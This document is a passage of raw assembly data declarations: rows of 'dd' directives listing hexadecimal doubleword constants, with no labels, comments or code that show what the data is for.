dd 9303FBB5h, 9AB97F86h, 0C1B0FEB5h, 2F201985h, 8A182638h
dd 5E8A4B98h, 0E4AC2003h, 0ED8F790Eh, 316B9ADh, 0B8D1D49Dh
dd 1E94EB00h, 0AD0AAD16h, 30C9E977h, 0B7A5046Fh, 0A3FAB8D8h
dd 0DA7BA5EBh, 59A14300h, 8B14FB1Bh, 16D04BE7h, 0DFFD03BBh
dd 0E8006CE8h, 1B8763A9h, 5083F419h, 5F7DE32Ch, 23F46F23h
dd 7750AD14h, 0C6250B9Eh, 5ABB0429h, 0BA1055E0h, 5C65E582h
dd 26376C4Ah, 6B0F5C82h, 8D103F4Ch, 963E1C59h, 0B882B9F8h
dd 9F4B2D9Eh, 844D6750h, 0F0353EC3h, 50BF4BD8h, 0E2A6BE9h
dd 763F0CA7h, 9500EFB2h, 0B1A956E0h, 67F4021Dh, 4A5B7B5Eh
dd 89C0B85Eh, 0B718299Dh, 1EE2D7B0h, 0AA509100h, 0B05E9A11h
dd 0BB8497D4h, 0A4D3B809h, 52D78CFEh, 5B4BE5B8h, 7ABEBF94h
dd 0D90071BAh, 9785EA17h, 4CB05057h, 8273EE23h, 0D26EC256h
dd 0EC8F3A8h, 565B9780h, 471DC2h, 5893C79Ch, 263EEC81h
dd 8C9CF57Eh, 0D44A56E9h, 15103302h, 5CDBD7CAh, 9D024C5h
dd 0A9732EC5h, 0A8B52Dh, 65116F18h, 8018330h, 0CFCBD381h
dd 342E5B5Fh, 0C47BACADh, 9EEE26B3h, 0FCE08017h, 5ACA9805h
dd 4BD9ECDCh, 9801D7CCh, 27024EF5h, 0C1384948h, 0CC95BF0Fh
dd 0D29DA00Dh, 21964F5Ah, 0C8A06EE4h, 504F5C20h, 3D005EA2h
dd 0CA8A47ABh, 0F9009356h, 84235FCBh, 9D83D1E8h, 38378D10h
dd 4068639h, 0B3492C34h, 965F3481h, 3BB9842Dh, 0BB796D1h
dd 13AEDC47h, 9BF2D28h, 4D9F0872h, 31827F71h, 5703B59Dh
dd 2E44511Ch, 80DA058Bh, 0F096B2CBh, 6F45A307h, 11A33Ah
dd 0D928764Dh, 3A2D37FEh, 72340DB0h, 0F4238734h, 95C8B42Ch
dd 0C5461D41h, 0A8BD9FA4h
dd 0E010C80h, 902F7F4Ch, 12215EACh, 567CB3D2h, 0B5A5F08Bh
dd 4B02148Bh, 2B8154F9h, 440601BDh, 5A6DAD33h, 0D3122417h
dd 658857B2h, 1BA9B541h, 8F9A4B0Eh, 67455D80h, 0CA0D1209h
dd 0FF698D29h, 5C718502h, 27C61C8Ah, 26DE47DCh, 8AD7D8Ch
dd 93A0F09h, 5C233985h, 0B5F5DA0Ah, 7EA40377h, 0AE807C86h
dd 4B7AC5Fh, 0E90331F9h, 3C97F2FFh, 154BF116h, 269A58Dh
dd 34E23FA9h, 0A71E1270h, 0E3B2E0h, 0C9B02946h, 4525CFh
dd 53AD2E7Fh, 7AC42C41h, 81B51897h, 641805EFh, 0AD903716h
dd 50D8C782h, 8D9FA37h, 0F912F99Eh, 0ED5EAAEDh, 5AAABCECh
dd 293AE0CCh, 5959983h, 3AD0A52Ah, 0AAD2C39Bh, 1B051112h
dd 21FB1D91h, 3DE8AB4Dh, 163ABCCCh, 0C8D2514Bh, 0C904017Bh
dd 0E6FAF6Eh, 6E4B2CBCh, 0EE97093Fh, 3A627823h, 86A75290h
dd 505B6098h, 0B8E179F9h, 0F6C401A8h, 0E8465B27h, 0D0B268B3h
dd 1B1510E1h, 0E54F9890h, 4D77E29Eh, 4532E0C5h, 0F8518B86h
dd 7AD46BE6h, 805A2AABh, 4948A1B0h, 4F3804E6h, 8196026Ch
dd 41FB99Eh, 0ADD383B9h, 0E3A85Eh, 274AA3EFh, 0FF0CC9BFh
dd 3B6ED15Bh, 0FAF44A00h, 9FBB0E4Eh, 6026EB14h, 56512AFh
dd 868895F3h, 9F7B58AFh, 89D370CAh, 165588h, 81026A61h
dd 5618A9C3h, 1D1E5BD6h, 0F564951Eh, 0F4FB709h, 0F85131h
dd 0D869961Bh, 0F6032536h, 0B521A966h, 15A5B8EFh, 0E07B178Dh
dd 780D04DDh, 0D100AB88h, 0E769BB50h, 90682523h, 0D00716B7h
dd 8F00A32Dh, 2C89BCDDh, 92B52FBh, 0A75C1FF9h, 7227E9E8h
dd 53E92596h, 0B1C2A771h, 9AF709ABh, 17047C94h, 790B01F2h
dd 2F43F52Dh, 15DA9D74h, 9005D6CFh, 0FBA33556h, 0AF364BC0h
dd 3B670087h, 53DF1DCAh, 350307BBh, 475AC8A3h, 0A8BC8C5Fh
dd 90F94D02h, 6A759589h, 4DB6FF09h, 1DCBE9Ch, 5DBF05DBh
dd 2F7DC0E3h, 1623596Bh, 162CF05h, 615999BEh, 273C6276h
dd 0C0E14DFFh, 0CC57E55h, 2BFD7E8h, 0E0A6B773h, 0BF091943h
dd 0E7D0D9F3h, 99BD006Eh, 4D62E3A0h, 0B197DE7Ah, 0DF49FE6Dh
dd 0D9B8CAA0h, 50410CCAh, 0FE8B6195h, 3816DA97h, 50C097E3h
dd 71E45B16h, 812865BEh, 314A9F8h, 0A7DB131h, 71C947A5h
dd 16DC23C5h, 63B821ADh, 6779D9C9h, 0E19D0305h, 3FC136B4h
dd 0D2986660h, 20F0883Eh, 5661042Dh, 0D8BF8B7Ah, 0D9445E5Ch
dd 2CD18B06h, 1167C309h, 0D18933E9h, 0C970D42Eh, 9085D879h
dd 5C821E3Dh, 8853122Fh, 6900C2F7h, 0F1DCA04Ch, 9130C3h
dd 73A4F8D2h, 0F781089Ah, 0C168EC03h, 615B5F1Dh, 0A2BF6840h
dd 424A2F74h, 65A47D11h, 503DE943h, 69218517h, 925D8D24h
dd 49476045h, 0C252A327h, 0C5115E03h, 0E36C431Ch, 0A5F21808h
dd 5AFE2086h, 24097383h, 7B2FE7CBh, 310C0805h, 0CD5C1025h
dd 6A060012h, 0B0B4619Fh, 992F8589h, 314A7918h, 6A330512h
dd 0B92F7DB7h, 5BAFF0FEh, 5F3870B0h, 0B3E3365Bh, 95DDD34Ah
dd 0CA2C04CAh, 3DC10CEBh, 0F70EC02Bh, 0A6E5293Bh, 21180D2h
dd 0CF4ACD58h, 0D0C15FA8h, 946F9D89h, 5A69ADEEh, 12BCEEEDh
dd 8766D1Ch, 0CE96A4C9h, 176DB7D6h, 0B529614Eh, 2D2E25CDh
dd 266A7F4Fh, 73609A00h, 14B8E316h, 4B8A7B4Bh, 26C380C0h
dd 0B725FA8Ah, 1327C5F3h, 0A1A770h, 0AB618C5Fh, 0E052D72Bh
dd 86BB3BA4h, 9A364700h, 0D10306FDh, 0DD6E1095h, 656D079Bh
dd 0E0DB2344h, 0A3677F54h, 78DA4201h, 6160BA2Ah, 252BAD21h
dd 8C8EEC56h, 4C5B4A2h, 9D0B5F45h, 5BCBB0FDh, 0F3E1897h
dd 0D750A28Fh, 5BC9C690h, 6A67D001h, 0E9401566h, 7CB8DB20h
dd 0E1FF000Eh, 4DC8DB81h, 14973036h, 5292050h, 0C5FB8B25h
dd 1F351A51h, 3CB75Fh, 9286BCA4h, 0EB0BE2A0h, 840B7D1Bh
dd 5049087Ch, 0B1C5C24h, 1311D45Fh, 0B3F6E819h, 0BF34BC86h
dd 0DA00BC6Ah, 0E35BB2FEh, 58198CBFh, 95701AECh, 0BE605574h
dd 0B901DC4Eh, 1A7B6F82h, 61343DD1h, 0B1EAD2F7h, 7EC93A9Fh
dd 261ACB7Fh, 0B9088856h, 957F3F0Eh, 0F29FD1E4h, 7CB7000Ah
dd 62B01C43h, 5A3B5DCCh, 219989BAh, 88A07005h, 0D4B91Ah
dd 93D0E77Fh, 0C8A130B3h, 97379800h, 1D2CE819h, 91249701h
dd 0A0DEBE1Fh, 0A562CBC0h, 5712FBACh, 602CDD4h, 5513ED85h
dd 9D76C314h, 6E9C1B4Bh, 0F503FFCh, 566042DBh, 0BCD65F52h
dd 50DC5B69h, 0FC13C79Fh, 2E7B922h, 60BF0BA1h, 8409559h
dd 38EC0268h, 0D88B03B9h, 1307A854h, 8B99A63Bh, 0AFBD74F1h
dd 27D339Ah, 5CED8DD1h, 0F7EF2F0Bh, 1F36F260h, 9497000Ch
dd 8EABBE2Ah, 0E91CDE8Ah, 0D42702A8h, 6000DEF1h, 18E01078h
dd 0B8D20DADh, 27692557h, 0B4C09856h, 0C189B2h, 0D93419DBh
dd 14536AE2h, 0B971940Bh, 0C1875670h, 0A2181BDh, 946E4Fh
dd 4EA3132Eh, 9F3152D5h, 3AD58642h, 0E0716DA8h, 356E2F1Eh
dd 6153401h, 0EFDBD0Bh, 8494BB00h, 0C6168825h, 7A02B35Bh
dd 8994405Fh, 0DC359C06h, 3CBC1A04h, 15AEA80Fh, 0AA92AA53h
dd 61D94DCDh, 0B6B2D5F2h, 0AE506EF3h, 45460B6Eh, 0FC04D652h
dd 3402BAF9h, 0C0B5FFBFh, 27199A7Fh, 10FB6106h, 4A611378h
dd 69F3B360h, 816159D8h, 49306EBBh, 3C293A52h, 303B532Fh
dd 7D2C48D2h, 8E8DA601h, 0C3FFB9F6h, 0F1FBDCh, 3D0AF920h
dd 0F5B73CBh, 4BBF3158h, 0DDE256D5h, 8E1F4E60h, 0B4014FF0h
dd 5B6BA8B6h, 0FAF087DAh, 0DCBA091Ah, 98C237D3h, 543832DFh
dd 0DFD0407Fh, 3104B26Ch, 61991B07h, 0BB035FE9h, 463B3C74h
dd 196007CFh, 0BDA74457h, 0E42F7D5Bh, 14BC0133h, 0DB639D6Fh
dd 1005F143h, 4B0DD3Bh, 5F5E565Dh, 57F08861h, 0ECB758EEh
dd 0ADC704B2h, 0B85CE83Ah, 0BCDCD1D2h, 0C2804807h, 26299508h
dd 0DBB70F00h, 92565390h, 318B964Fh, 0E4C5BFD2h, 0DCCB41ECh
dd 2DB8C451h, 85D4703Fh, 611DCC40h, 6A6197CAh, 0B8903990h
dd 9A754B16h, 0C017C8F0h, 0F57198E2h, 61A7619Dh, 0B4E9333Fh
dd 0FFC3F612h, 0AED2BCE3h, 0F2008B6Bh, 6A737492h, 0C613CA1Ah
dd 17898928h, 22021452h, 16D75F53h, 9D307046h, 57D0115Bh
dd 0D7ED3F82h, 0F6FEF380h, 21E928C2h, 23047F8Ah, 0EEDCB80Dh
dd 0E198E696h, 3B385C22h, 540A616h, 0AE0975D7h, 0D6C93738h
dd 1B47B05Dh, 2B8F9C97h, 0DBCB03B6h, 3B59E212h, 0AA79A8h
dd 0A62CE19h, 1675E848h, 0C2935377h, 0F60C3226h, 29F125C3h
dd 9295C1C6h, 3A377F2Fh, 647801BDh, 0CB81FC8Ah, 4BC254E8h
dd 1D88D2Fh, 41FB1A0h, 1D25B904h, 441FFD13h, 912BDDC7h
dd 91288401h, 0CE9521E2h, 77CBC462h, 898EB9D3h, 0B2D7CBFh
dd 0A9D33165h, 17B6E6D0h, 0A12BE780h, 80532BACh, 0BAA5EAB7h
dd 0B8802261h, 0F94AB339h, 0EBE85Bh, 1E36B3F9h, 2A359C9Dh
dd 0BE0558B0h, 707655F0h, 18C79201h, 952B6163h, 0F616BB5Fh
dd 8211AFA9h, 9EE15E03h, 0CC78342Bh, 87090D42h, 78F37715h
dd 5F0F40C7h, 57891A97h, 7C2FE341h, 1D089E3Fh, 0D8743233h
dd 8509EBB0h, 1613D120h, 0ACA9BB66h, 31AD1245h, 7BA7AFEh
dd 0D3883301h, 528BE570h, 7F7E48ACh, 132EE110h, 1CA35096h
dd 8B704B58h, 0E229E6F5h, 16DB7C50h, 0A3BFAC39h, 0CD1A1053h
dd 315F0F12h, 9684D68Dh, 0BFC071ACh, 42FBC69Ch, 5BEB8012h
dd 0EC9373E2h, 6EAE4AACh, 5F0170F3h, 0BD03594Eh, 0ED2A2799h
dd 0EFBB1CC9h, 0FA57B789h, 707CBB41h, 270608E0h, 1A79BD89h
dd 0EF801660h, 0F3AA3059h
dd 8E15EB87h, 81928CC4h, 15F98D29h, 0BC87752Eh, 0AB868097h
dd 1D696636h, 85C9B988h, 255DE1A4h, 0DD370423h, 0D177B90Dh
dd 12E6BC98h, 45C9112h, 0B80E4D1Eh, 2993E296h, 2F90100Bh
dd 0ECF01E3Dh, 0A27FA900h, 3862A4F9h, 0AA47008Bh, 0AB5AD43Eh
dd 3A97DF4Ah, 0D4277CABh, 0B04A920Ch, 2FC10CA0h, 0BDE4D74Dh
dd 2F1D9A00h, 2A212437h, 5BB13B9h, 1427A02Dh, 0F5FFD09h
dd 0D4664A8Dh, 0C69EC3B1h, 4CDBAA85h, 0EA5501C0h, 0E5AE8DBh
dd 0B52797A0h, 17E4CE6Fh, 0BABB067h, 9F5AE99Bh, 0B629CBB1h
dd 0DD0B9EB8h, 78F94A75h, 8B2E4086h, 4F92C14Dh, 0A6D254E9h
dd 926A041h, 0C45500E3h, 90C59C4Dh, 5007DE8Ah, 5FF98B57h
dd 0C1E8ED8Bh, 20FE31EBh, 2551ED4Fh, 2E362150h, 16BB3D25h
dd 0F85ABDFEh, 94DA02B6h, 0F275F5AFh, 0BABB8882h, 0F88A0EC0h
dd 0ED920997h, 601C0CDh, 4605DC1Fh, 17FD9D2Bh, 410D1AF4h
dd 16B77C05h, 0E84E09Ah, 6232CCEBh, 227D9000h, 15980630h
dd 0E3650602h, 9089C4D1h, 98800F2Fh, 609ECF9Bh, 0BD291A32h
dd 1697224Dh, 58C09B62h, 380147B9h, 7E6914B6h, 0D239E371h
dd 0B921C9C4h, 7856C967h, 0E45F4A0Eh, 2341FDB9h, 0EFDBAC84h
dd 0A229B89Ah, 0B2022971h, 9FD5241Dh, 891491ADh, 3FD164B8h
dd 2FF3697Ah, 215122BFh, 0EBB35005h, 0BF5BE49h, 0BE29D528h
dd 5D93D494h, 39A7C958h, 87051FA5h, 0C139F8BDh, 12C21F3h
dd 8E2B54E9h, 0BAC51EF4h, 78DC5BA5h, 0B7971B86h, 0EF4889E9h
dd 1AF1B802h, 0AF706555h, 0A2006935h, 685F3AFh, 0FBC427DBh
dd 0BA1FA5E4h, 94C04DA9h, 2DF557E2h, 939E00F6h, 0F781E061h
dd 2900FD6Ch, 99BF5F24h, 9C09B0A7h, 46D838C3h, 30A85B27h
dd 3D67A4DFh, 7A5389CBh, 6E02917Ah, 0DB37EC48h, 94998685h
dd 0A479AC5Fh, 9226ABFh, 0A7C29E97h, 5CF9C9C5h, 0CECD5AD5h
dd 95D3560h, 4B3D4ABDh, 8F53FFB3h, 3E27DC70h, 0F68E7651h
dd 0BB606F47h, 67418783h, 0BE76B0A2h, 0C922FD0Bh, 5D6D357Fh
dd 4A4CF25Ah, 0C82A62D9h, 0C6B5879Ah, 0B0FA2D93h, 2C4D0340h
dd 9870E680h, 24AB55Dh, 0BF136056h, 0BA623EEh, 0BDD14D5Eh
dd 132EFBB7h, 0B530BA4Fh, 4A398D09h, 59C0E604h, 0C157409Eh
dd 0A624B2D6h, 0D06754ACh, 0B35C0995h, 8FD8A42h, 26410CD8h
dd 7AC5D13Dh, 2E47E9DFh, 0A608799Dh, 0FC331A7h, 16227E81h
dd 28C3200Eh, 0ED00427Ch, 35B7EF97h, 75B2953h, 0D78032F0h
dd 9D3160BFh, 12970F19h, 4B0DDE78h, 6A2510F5h, 4A1B0542h
dd 0F205CBAFh, 94F00096h, 2EF86C4Dh, 78060010h, 0A41EBF46h
dd 260D8BC9h, 585F5D0Dh, 0D21CCC6Ah, 60199F00h, 621142F8h
dd 4F60063h, 48BC66E3h, 1EE6201Ah, 60983A97h, 0A58AB3Ch
dd 3AE9747Ah, 24C562B7h, 3312DD29h, 0B9319524h, 9E1F8892h
dd 16A594F9h, 0B5C9FE28h, 95B2534Bh, 7404AC93h, 3075226Bh
dd 41A1DCAAh, 28D45C82h, 86539583h, 3A181659h, 0B9B84805h
dd 0F72108AAh, 0D9131595h, 0A4FCC829h, 0A3FBE880h, 8AB676h
dd 0CF26AD93h, 5B9EEE38h, 0D7694F02h, 0EDFCCC70h, 5EA1EF2Ah
dd 4185661Ah, 6A1F8DB2h, 8B53E2D9h, 7BFA85BAh, 896A021Fh
dd 503E32A9h, 0B6245A6Fh, 0CBB7C4F2h, 0CDC389DBh, 0D2AC0F05h
dd 0F15C5B2Fh, 6D8C044Bh, 818060EEh, 0BA1224F3h, 0B7E64E60h
dd 0C53018B2h, 689F4CDEh, 604CCD5Ah, 2960F1D5h, 0AE5CDF71h
dd 0E24E4A71h, 2BB6F411h, 4B11BDA0h, 0C0FCCD95h, 0F1C2A27Eh
dd 0D100C975h, 0E781EB59h, 135E6EBBh, 0EABD0316h, 0DE24B52h
dd 7E48768Dh, 56F011F6h, 0F20B8067h, 7EAF2F85h, 0AAAF24F4h
dd 68BD9546h, 60970801h, 0FA201096h, 0B0558AD5h, 9CADBD55h
dd 0E1FF09A1h, 1500EA51h, 0BC2B92B3h, 0DAB850DFh, 6D58249Fh
dd 91A00952h, 5B421379h, 0D2010704h, 1CD7126Dh, 27636941h
dd 0C8C0D9CDh, 0B634C0h, 0BD2B1928h, 9D0BACB4h, 0BC061D20h
dd 0CC52534h, 0EC25F21Dh, 5B4B0089h, 0E2798BFAh, 0CB28BECAh
dd 67000EE9h, 4729E77Eh, 27AFC2A8h, 0E1E25F93h, 82953D72h
dd 5C01B7DCh, 90D427AFh, 55B60269h, 0B5C52E2Bh, 2633AE2Eh
dd 0BE8D85FBh, 0A697D97Ch, 12C4F395h, 0B8097D9Ah, 0CC8FA20Dh
dd 973D6BDBh, 3413BDF0h, 33BA5024h, 94006062h, 0D6EB9F7h
dd 7612E51h, 0AF27BB90h, 0B96AF5B5h, 1E9BC86h, 3A754D3Fh
dd 3B8596DFh, 3720D000h, 0E46C2968h, 48B72FDBh, 0D61D8FF8h
dd 0B727F597h, 0C1E90029h, 317B9C3Bh, 0DF507BB8h, 84BCD90h
dd 5AF9C19Ch, 1000A689h, 0E9092629h, 90DB024Eh, 6DC87D0h
dd 0BC068C2Eh, 0A12D66E8h, 0B1D25B1Ch, 2E244998h, 880F8671h
dd 0BF36253Fh, 418A5F16h, 73C26125h, 0B0773B77h, 12840CEh
dd 5E7E2CF3h, 0EF0C2F4Ch, 0FAA286A0h, 0A3C9EC04h, 60B9DF8Bh
dd 7D8C15ACh, 0F5C6C6CEh, 0BD31DF0Ah, 689D309h, 0E1F01476h
dd 58CEE9A5h, 16A73325h, 0D0B62935h, 1CA98D9Dh, 2A6C1397h
dd 0B5E3DD12h, 0F45C6246h, 0C77B0387h, 0C18D0408h, 2CD0AC97h
dd 782E09D0h, 19A5250h, 0B1BF40DDh, 2288024Ch, 310FEBCDh
dd 585A2E60h, 9FA25398h, 23B77Dh, 6C209B7h, 0D5092D9Ah
dd 0A2B2993Fh, 57B5FF5Ch, 4702DB3Fh, 6040BC1Eh, 841BC98Ah
dd 7668DF07h, 2A9588Eh, 2E028929h, 0F2D461E9h, 0C100D54Bh
dd 0AAE69B80h, 5A3BD701h, 616B7FA8h, 0B06B103Ah, 0E31B4712h
dd 61705025h, 38BF1D40h, 0A25307Ah, 37952AC4h, 687B82B9h
dd 0A36BB4DFh, 990CF27h, 3A9AD15Eh, 46487880h, 4C40120Fh
dd 6630E902h, 707CEEBFh, 0C31C86Eh, 0DB8A0E80h, 2CCF348h
dd 0FDE3F1FCh, 8471FE55h, 0DF366225h, 5D049237h, 2AAE889Eh
dd 0E1BC8B27h, 5700019Eh, 0C127CF80h, 23A0415Fh, 0E2D6103h
dd 59DC0935h, 8635EB3Dh, 3A3C5985h, 190C02FBh, 12551B8Ch
dd 78E8753Eh, 1709F361h, 598DAA94h, 93A4770h, 863DDDh
dd 34B0FEE8h, 3627A026h, 101456FDh, 27E9130Bh, 0F34D1688h
dd 9FDF8100h, 2316D412h, 4FBA45E3h, 0D10B2D6Ah, 55021FA1h
dd 3002FF5h, 972A59BDh, 8725471Ch, 35EBD04h, 0E6A1A659h
dd 80E78180h, 7028AA13h, 0D252DB8h, 4E0B6DC7h, 0C023D404h
dd 10D8237h, 0F03D3Fh, 0D76BD4B5h, 7D1C6792h, 0E3F301B4h
dd 6ED5D3BFh, 0D6D37C21h, 0EDD324ADh, 40A1A87Ch, 354B5DFFh
dd 0BF345D9Dh, 15CE951Fh, 0A5B795h, 4B2E3588h, 0A30977C5h
dd 8ECDFB92h, 4D8197BDh, 1B657CD2h, 0E50BE62Ah, 90466FB9h
dd 0ABFE8A12h, 18236E6Bh, 2DC57025h, 6F28675h, 37D5918Ah
dd 9CA3800Eh, 0EDAF7C43h, 57B6E217h, 0C7D075ACh, 4AB4A25Bh
dd 19C8BDDAh, 89FAD2C5h, 0A55C89F4h, 0E8415C01h, 9F525F5h
dd 0D62C567Ah, 0AC1F1A46h, 3B78402Ch, 0B531E7C5h, 8587ED48h
dd 0F0B604C2h, 0DA2134E0h, 0D7A22506h, 5CB4C943h, 50806D61h
dd 51952920h, 0E1B20B5Ah, 0AC10EDD6h, 9FAE0140h, 36F1D905h
dd 0B057E69Ch, 4BBD8592h, 0D534BE15h, 0FA7912BFh, 1DCF898h
dd 9509CDD7h, 2BE403E1h, 0AB637E99h, 0A3E72807h, 2E540C2h
dd 0BCC94415h, 7F6A12F8h, 3603613Dh, 9082B891h, 1789751Dh
dd 0DD303595h, 1644443Fh, 3600846h, 508091ACh, 4BBAAEBBh
dd 93D5923Ah, 0C01078D2h, 0D9E02C50h, 0F29C2E4Bh, 4B11F831h
dd 6BEA9D0Ah, 258DADD8h, 61711EF1h, 964B4EC4h, 0B47E6C89h
dd 68647C5Ah, 46B70B0Eh, 0ACD46E93h, 59608BFDh, 72030288h
dd 540C207h, 558A1385h
dd 6D004F44h, 0F72E69E4h, 5B38893h, 9E666597h, 6D17BA43h
dd 4A0FC2B0h, 0B281E62Ah, 0A7743016h, 0F18DE64Bh, 0C1C1647Ah
dd 9C163D82h, 95228D1Bh, 1CC4BF6Dh, 98544E60h, 0DFCF2302h
dd 886FE9D5h, 932812CFh, 30515682h, 8AE67B00h, 9C4123h
dd 0B32535B9h, 7C74E5A2h, 5B3AEE00h, 0DA7BEF81h, 0C22AF35Eh
dd 405E17FBh, 0D4157C5Ah, 560F4A00h, 16361B0Eh, 90240148h
dd 63AD25BBh, 45292F28h, 0EA8C943Bh, 1C80219Bh, 0F6500DEBh
dd 957EF09Fh, 0D548DB51h, 8A0E0211h, 0AF12C6DDh, 0D4D066C9h
dd 57250051h, 0EA2990CEh, 1E974CA7h, 0D4139EF9h, 0EC99B100h
dd 0A0744976h, 0A4D60234h, 18D1BD01h, 5E0FE902h, 7A4E2B05h
dd 8B9661FDh, 969DB17Ch, 1A9E88C1h, 1500C6EEh, 0FB44FD20h
dd 46CAE8Fh, 1E8DB653h, 0CB15BCEAh, 89B1C290h, 0D56F55CAh
dd 1F1BE425h, 474128CEh, 0F3A4B94Dh, 37C00C91h, 7D019F16h
dd 6BA23167h, 9B6A5F15h, 1AB2C4DFh, 0AF000CE2h, 5019EFF9h
dd 5F012C62h, 87073DAh, 6F3F6AD7h, 4F831F63h, 0C09C3954h
dd 0E622A387h, 0B8F10003h, 0CFC593E2h, 6F0B4461h, 536ABD8Dh
dd 0BE7478A6h, 272FCD01h, 3DE09B0Ah, 0F3C1A03Bh, 0C8FC0628h
dd 7BCB7D25h, 9721D00Fh, 80B3533Fh, 0FF2E4DCFh, 4F852931h
dd 0E15A12F1h, 0B8ED6D7Eh, 293016ABh, 916B0E57h, 0E45F2510h
dd 2B420770h, 906CEA4Ch, 0CD013D58h, 0FCD4C802h, 489055B9h
dd 0ED07B32Fh, 81569B3Ah, 4C015A8Ah, 64EDE03h, 77CAF9F1h
dd 7A960AB7h, 18159004h, 0AFB4ADBCh, 6004246Ah, 0ABF780D2h
dd 0F50F5C98h, 88C5276Eh, 6BEDF80h, 17A7B98Eh, 0BD1FF55h
dd 635E41ADh, 0BDB9787Ah, 0C9961537h, 2E03E882h, 92FABFC7h
dd 90E50E86h, 0DB524800h, 0A8ABB0h, 6A82C006h, 0D5BF6002h
dd 2BBB590Eh, 0D74F6266h, 2EE2D861h, 1D5C81DDh, 1E0092Fh
dd 9BE15BEDh, 0E830ED10h, 0ED195AD9h, 952B8017h, 5DE56A84h
dd 1396A74Ch, 0E9CB9153h, 0C2382F55h, 66CB4087h, 4A8FBF48h
dd 3B3F2A6Eh, 350C2501h, 895CBA9Ah, 7B18797Ch, 84F5A5AEh
dd 0F1AEC31Ch, 746E6F13h, 0E7467000h, 8BC13EE1h, 31ECFB5Eh
dd 4D371EC0h, 0A7FC5D7Dh, 8C602D00h, 0C60CC030h, 3503258Ah
dd 352D9EE5h, 0B50A0FADh, 9806D3A0h, 9497667Ch, 5883939Bh
dd 5F1C4F21h, 33025787h, 5EC53559h, 7E2BE89Bh, 7127BC07h
dd 7260EBCAh, 90AA99C7h, 254525EFh, 467EC35Ch, 0B1007E18h
dd 0BF942BCAh, 5C6C7274h, 8113EF40h, 127AEA15h, 0F6F5A612h
dd 131E21ADh, 404E38Ah, 0B04067E3h, 14D58502h, 4070E602h
dd 387C80BAh, 0B8CA5F33h, 858904ADh, 0C21F2341h, 43295537h
dd 0EB099157h, 6AEF8110h, 5844C17Eh, 277743B3h, 572AEAFCh
dd 6495EA50h, 40B30057h, 33870BE7h, 5F1C9E36h, 0E2A5E380h
dd 4F7BF4B3h, 4A549040h, 0CA3CD6A2h, 366C00AAh, 0E5AF4421h
dd 0BA716BFh, 42A2C8C7h, 3EBC7C07h, 8DA1E9F6h, 0A07BFD2Ah
dd 5B811636h, 36A457C6h, 76E68053h, 31095F52h, 0FD072985h
dd 0D1558832h, 33BB02F6h, 11503081h, 0B283297Eh, 6EA1D7FBh
dd 0D02C5BDh, 4E7D7430h, 0C84CB81Ch, 0AB06A518h, 42457104h
dd 0B8BA166Bh, 169D22D8h, 0BB615853h, 0BD948C34h, 15051D81h
dd 1D9C622Fh, 0B5597C2Ch, 4A5E125h, 1F8BFE1Eh, 0D38161E8h
dd 9A672FFBh, 0F7E84CE2h, 51806837h, 0ABAE947Bh, 0BC174E5Eh
dd 0F30B2576h, 0AA1A12CFh, 6A4EC0CAh, 95F85F37h, 0BB0EB602h
dd 8B821930h, 0B9012691h, 0F62A0848h, 0A87E0085h, 0CA39EAE3h
dd 0F66E9DA3h, 980A120Ah, 0CD25A809h, 85FBE2C7h, 5205DD41h
dd 0CD7DFCD4h, 3AA8E06Fh, 8274F94h, 6091E21Ch, 9C870F77h
dd 0D0644C7Ah, 679B2A0h, 0A4F95B95h, 97B0A25Fh, 37FF00A9h
dd 225F8366h, 0B398FECAh, 0DC1E3631h, 56D7CF80h, 82B9CC16h
dd 0A33EE6E4h, 1648FB7Dh, 0DE07C9D8h, 5ADA800Ah, 9453F31h
dd 22DBD0Bh, 0D3521B74h, 63E55092h, 86E82300h, 7C2D4B36h
dd 2EDE8111h, 16C8219Ah, 0FEC44DC5h, 0BD4F66BDh, 0BAE8FCh
dd 8D62A347h, 188C0F12h, 74E0F59Ch, 0FDCEFAh, 59CC3E52h
dd 0EEBABC18h, 3F84881Eh, 4A92ECAAh, 79F0599Dh, 2E9D2E30h
dd 8057FC2Fh, 140AE6FBh, 0F0042E8Dh, 3FF10203h, 4CE6B905h
dd 6091739Dh, 2FD59D81h, 0E514419Dh, 2FA00DFAh, 0D5606628h
dd 8CBC4051h, 0B897661Ch, 60404F2Fh, 68488ADDh, 6773BF04h
dd 5AE869ACh, 0B53160C1h, 82406BC5h, 0FF61C68Bh, 25D098E1h
dd 0B15E0245h, 0C214DC71h, 442B134Fh, 0C485006Dh, 5A880FDh
dd 0DE02F8FCh, 0E7183AD4h, 516374D3h, 14C80FD1h, 0D1818BC4h
dd 56022D59h, 0F81FC8C1h, 149D5B6Ah, 465255Eh, 4D4045EFh
dd 16C8FA46h, 0E394660Bh, 0BD090438h, 60011F21h, 0FA3D9D0Bh
dd 7725B2D5h, 0CE7BF4A0h, 89D8B2Ch, 0E90BB47Ch, 0D4CF5E1Fh
dd 87001A46h, 0FAAEB506h, 0C0979360h, 7BF1A575h, 29CD2789h
dd 502F9B46h, 0D072FB01h, 4B49E240h, 5DC55ECAh, 23D56BAEh
dd 0A30C1314h, 0BC5B49B6h, 0E6082D69h, 0F134435Ch, 5BDAC1BFh
dd 4A602CCFh, 17E0BDF6h, 0A80285B5h, 0F85C6390h, 109B5EBEh
dd 0BD2F732Bh, 0F6BB9241h, 3BD141DDh, 0BFFFFC8Ch, 6B655704h
dd 29AE5F62h, 8AECFCB4h, 0B0766331h, 0CA6BF98Bh, 28C862C6h
dd 0F80AC4E6h, 0E6584EF8h, 8F0FE022h, 173B0172h, 5C15AA6Ch
dd 0B2342E2Ah, 81C075E8h, 0A74552F3h, 425CE1A2h, 4BF38ED4h
dd 8726FA94h, 0F59200Ch, 23FE912h, 308984ACh, 0DEA3F0D3h
dd 1E54278h, 7DA2DBD4h, 2B04BF8Ch, 0A39632E8h, 0D7862D0h
dd 0EC207620h, 244B31A6h, 0F6D685A2h, 0AADBA05Bh, 22CE00Ah
dd 8FCC74F5h, 95D7D98Ah, 0F8BC42D9h, 23312560h, 7E189A9Dh
dd 1B04D440h, 0D0C1FC3Ch, 0A64BEB8Ah, 0E08AA279h, 16BC3A72h
dd 0ECF5CDDCh, 2E844E7Eh, 120E6EAAh, 0E3FC4D4Fh, 0FAB90B80h
dd 5A51D351h, 0CEE26EE6h, 5688FF92h, 9D33125Fh, 962E4985h
dd 9E82AA02h, 0E328274h, 7182DDDBh, 9605F6B3h, 0BC0149Bh
dd 6346E4A4h, 55147A25h, 4C743A1Ah, 40F7586Bh, 567D6814h
dd 51706B27h, 0A50B8072h, 0D2FD4EFBh, 0F61EC3Ch, 22A8C329h
